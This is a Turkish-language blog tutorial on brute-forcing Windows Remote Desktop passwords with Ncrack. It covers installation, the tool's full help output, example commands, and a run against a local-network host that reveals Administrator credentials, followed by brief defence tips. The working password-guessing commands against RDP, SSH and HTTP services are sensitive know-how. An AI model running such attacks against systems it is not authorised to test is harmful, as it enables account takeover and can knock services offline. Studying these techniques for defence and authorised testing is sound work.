Windows Uzak Masaüstü(RDP)ne Yönelik Brute Force Saldırısı

Ncrack, gelişmiş bir aktif brute force aracıdır. SSH, RDP, HTTP(s), POP3(s), FTP ve telnet gibi bir çok popüler network protokolünü desteklemektedir.RDP desteğinin eklenmesi ile birlikte Windows sistemlerin uzak masaüstü servisine parola denemesi yapan tscrack ve tsgrinder yazılımlarının yerini aldı. Bir çok brute force aracından tek farkı rdp değil aynı zamanda Nmap çıktılarını yorumlayabiliyor ve paralel parola denemeleri gerçekleştirebiliyor.

Kurulumu

Linux / *BSD Sistemlere Kurulum

www.nmap.org/ncrack adresinden kaynak kod indirildikden sonra aşağıdaki komutlar ile kurulum yapabiliriz;

tar -xzf ncrack-0.3ALPHA.tar.gz

cd ncrack-0.3ALPHA

./configure

make

su root

make install

Windows Sistemlere Kurulum

Windows platformlarda da çalışabilen ncrack yazılımının kurulum dosyasını çalıştırıp, kurulum sihirbazındaki yönergeler takip edilerek kurulum sonlandırılabilir.

Kullanımı

Kullanım parametreleri hakkında bilgi almak için

# ncrack –help

Ncrack 0.3ALPHA ( http://ncrack.org )

Usage: ncrack [Options] {target and service specification}

TARGET SPECIFICATION:

Can pass hostnames, IP addresses, networks, etc.

Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254

-iX <inputfilename>: Input from Nmap’s -oX XML output format

-iN <inputfilename>: Input from Nmap’s -oN Normal output format

-iL <inputfilename>: Input from list of hosts/networks

–exclude <host1[,host2][,host3],…>: Exclude hosts/networks

–excludefile <exclude_file>: Exclude list from file

SERVICE SPECIFICATION:

Can pass target specific services in <service>://target (standard) notation or

using -p which will be applied to all hosts in non-standard notation.

Service arguments can be specified to be host-specific, type of service-specific

(-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000

Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl

-p <service-list>: services will be applied to all non-standard notation hosts

-m <service>:<options>: options will be applied to all services of this type

-g <options>: options will be applied to every service globally

Misc options:

ssl: enable SSL over this service

path <name>: used in modules like HTTP (‘=’ needs escaping if used)

TIMING AND PERFORMANCE:

Options which take <time> are in seconds, unless you append ‘ms’

(miliseconds), ‘m’ (minutes), or ‘h’ (hours) to the value (e.g. 30m).

Service-specific options:

cl (min connection limit): minimum number of concurrent parallel connections

CL (max connection limit): maximum number of concurrent parallel connections

at (authentication tries): authentication attempts per connection

cd (connection delay): delay <time> between each connection initiation

cr (connection retries): caps number of service connection attempts

to (time-out): maximum cracking <time> for service, regardless of success so far

-T<0-5>: Set timing template (higher is faster)

–connection-limit <number>: threshold for total concurrent connections

AUTHENTICATION:

-U <filename>: username file

-P <filename>: password file

–user <username_list>: comma-separated username list

–pass <password_list>: comma-separated password list

–passwords-first: Iterate password list for each username. Default is opposite.

OUTPUT:

-oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename.

-oA <basename>: Output in the two major formats at once

-v: Increase verbosity level (use twice or more for greater effect)

-d[level]: Set or increase debugging level (Up to 10 is meaningful)

–nsock-trace <level>: Set nsock trace level (Valid range: 0 – 10)

–log-errors: Log errors/warnings to the normal-format output file

–append-output: Append to rather than clobber specified output files

MISC:

–resume <file>: Continue previously saved session

-f: quit cracking service after one found credential

-6: Enable IPv6 cracking

-sL or –list: only list hosts and services

–datadir <dirname>: Specify custom Ncrack data file location

-V: Print version number

-h: Print this help summary page.

MODULES:

FTP, SSH, TELNET, HTTP(S), POP3(S)

EXAMPLES:

ncrack -v –user root localhost:22

ncrack -v -T5 https://192.168.0.1

ncrack -v -iX ~/nmap.xml -g CL=5,to=1h

SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLES

Varsayılan olarak parola sözlüğünü /usr/local/share/ncrack/default.pwd dosyasında tutar.

Sık kullanılan parametreleri ve açıklamları;

-p = protokol

–user = spesifik kullanıcı adı

–pass = spesifik parola

-v = bilgi ver

– CL = Paralel olarak tarama yapılacak eş zamanlı maksimum bağlantı sayısı

-U = Kullanıcı dosyası

-P = Parola dosyası

 

Örnekler;

ncrack -v –user root localhost:22

ncrack -v -T5 https://192.168.0.1

ncrack -v -iX ~/nmap.xml -g CL=5,to=1h

 

Microsoft Uzak Masaüstü (RDP) Servisine Parola Denemesi

#ncrack -vv –user Administrator -p rdp 192.168.5.37

Starting Ncrack 0.3ALPHA ( http://ncrack.org ) at 2011-04-13 10:30 EDT

rdp://192.168.5.37:3389 Valid credentials, however, another user is currently logged on.

Discovered credentials on rdp://192.168.5.37:3389 ‘Administrator‘ ‘ozanus

Saldırı aşamasında svchost.exe’nin çok yüksek CPU kullandığı ve mstsc servisinin çöktüğü gözlemlenmiştir.Hedef sistemde başarılı bir bruteforse saldırısı yapılamasa bile, bir servis dışı bırakma saldırısına yol açılabilir.

Korunma Yolları

  • Local policy ile eş zamanlı bağlantı sayısını sınırlandırın
  • RDP portunu değiştirin (varsayılan olarak 3389)
  • RDP kullanıcısını tahmin edilmesi zor bir kullanıcı seçin
  • RDP parolasını tahmin edilmesi zor bir parola seçin

Yazar: Ozan UÇAR